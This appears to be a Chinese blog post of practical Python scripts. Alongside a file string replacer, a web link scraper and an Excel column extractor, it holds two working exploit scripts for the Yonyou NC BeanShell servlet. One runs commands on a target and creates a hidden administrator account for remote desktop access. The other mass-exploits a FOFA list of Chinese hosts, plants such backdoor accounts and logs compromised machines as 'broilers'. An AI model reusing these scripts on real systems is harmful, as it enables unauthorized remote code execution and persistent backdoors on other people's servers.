python实用脚本
字符串替换
#!/usr/bin/python
# -*- coding:utf8 -*-
import os
import re
def replace(path, souceStr, destStr):
#读取目录下所有文件
files = os.listdir(path)
#遍历这些文件
for f in files:
#如果文件名等于该脚本的名字 不执行
if f == os.path.basename(__file__):
continue
#如果文件是一个目录 执行递归
elif os.path.isdir(path + '/' + f):
replace(path+ '/' + f, souceStr, destStr)
#否则 是一个文件
else:
filePath = path+'/'+f
f=open(filePath,'r')
#读出该文件所有的行
alllines=f.readlines()
f.close()
f=open(filePath,'w+')
#对所有的行进行循环
for eachline in alllines:
#替换字符串
a=re.sub(souceStr,destStr,eachline)
f.writelines(a)
f.close()
replace('./', "buf", input("please input destStr, rember to add ' at the beginning and end :"))
爬取网页内url地址
import requests
import time
from bs4 import BeautifulSoup
urls = input('请输入目标url:')
headers={
'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Mobile Safari/537.36'
}
url=urls
res=requests.get(url,headers=headers)
soup=BeautifulSoup(res.text,'html.parser')
items1=soup.select('div.addrLeft span.aSpan a')
for i in items1:
link=i['href']
time.sleep(3)
print(link)
用友POC
用友漏洞POC
import requests
import socket
url = input("请输入目标地址:")
poc_url = url.replace('index.jsp','servlet/~ic/bsh.servlet.BshServlet')
poc_status = requests.get(poc_url).status_code
if poc_status == 200:
print('页面访问正常')
else:
print('页面访问错误')
data = {'bsh.script':'exec("whoami");'}
data_0 = {'bsh.script':'exec("net user warsec$ 123admiN@ /add");'}
data_1 = {'bsh.script':'exec("net localgroup administrators warsec$ /add");'}
result = requests.post(poc_url,data=data).text
if 'admin' in result:
print('当前是管理员用户')
result = requests.post(poc_url,data=data_0).text
result_0 = requests.post(poc_url,data=data_1).text
if '???' in result_0:
print("留取后门成功")
url_0 = url.split('/')
ip = url_0[-2].partition(':')[0]
s = socket.socket()
result1 = s.connect((ip,3389))
if result1 == None:
print('可以远程连接')
else:
print('当前不是管理员用户')
s = socket.socket()
result = s.connect((ip,3389))
print('链接用户为 warsec$ 连接密码为 123admiN@ ')
print(result)
批量用友漏洞POC
import xlrd
import requests
from threading import Thread
readbook = xlrd.open_workbook(r'C:\Users\12479\Desktop\FOFA\title==YONYOU NC && country=CN2021-09-28 18-04-59.xls')
table = readbook.sheets()[0]
nrows = table.nrows
f = open("C:/Users/12479/Desktop/FOFA/Broiler.txt","a")
def zj():
for i in range(nrows):
if i == 0:
continue
url = table.row_values(i)[1:2]
poc_url = url[0]+'/servlet/~ic/bsh.servlet.BshServlet'
print(poc_url)
try:
poc_status = requests.get(poc_url,timeout=5).status_code
if poc_status == 200:
print("漏洞利用页面访问正常")
print("当前测试的是第%d条链接" % (i))
data = {'bsh.script': 'exec("whoami");'}
data_0 = {'bsh.script': 'exec("net user FlNet123$ 54@Falao /add");'}
data_1 = {'bsh.script': 'exec("net localgroup administrators FlNet123$ /add");'}
try:
icode = requests.post(poc_url, data=data,timeout=3).status_code
if icode == 200:
print("whoami命令执行正常=====》开始创建远程链接后门")
result = requests.post(poc_url, data=data,timeout=7).text
if 'admin' in result:
print('whoami命令执行结果:当前是Administrator用户')
result = requests.post(poc_url, data=data_0,timeout=7).text
result_0 = requests.post(poc_url, data=data_1,timeout=7).text
if '????' in result_0:
url_0 = poc_url.split('/')
ip = url_0[-4].partition(':')[0]
print("成功创建隐藏后门######》%s" %(ip))
print("后门用户:FlNet123$ 后门密码:54@Falao")
print("3389端口未知开启,请自行测试!!!")
f.write(poc_url+"\n")
else:
print("创建隐藏后门失败")
elif 'root' in result:
print('whoami命令执行结果:当前是root用户')
else:
print("whoami命令执行结果:当前不是Administrator用户也也不是root用户")
else:
print("whoami命令无法正常执行=====》开始测试下一个")
except:
print("利用页面无相应")
else:
print("漏洞利用页面访问错误")
except:
print("warning....请求超时....")
thread_01 = Thread(target=zj())
thread_01.start()
f.close()
EXL某列提取
import xlrd
put = input("输入读取的文件:")
num = input("输入要读取第几列:")
lie = int(num)-1
wenjianming = input("请输入要生成的 txt 文件:")
def strs(row):
values = "";
for i in range(len(row)):
if i == len(row) - 1:
values = values + str(row[i])
else:
values = values + str(row[i])
return values
# 打卡文件
data = xlrd.open_workbook(put)
sqlfile = open(wenjianming, "a") # 文件读写方式是追加
table = data.sheets()[0] # 表头
nrows = table.nrows # 行数
ncols = table.ncols # 列数
colnames = table.row_values(1) # 某一行数据
# 打印出行数列数
for ronum in range(1, nrows):
row = table.cell_value(rowx=ronum, colx = lie) #只需要修改你要读取的列数-1
values = strs(row) # 调用函数,将行数据拼接成字符串
print(values)
sqlfile.writelines(values + "\n") # 将字符串写入新文件
sqlfile.close() # 关闭写入的文件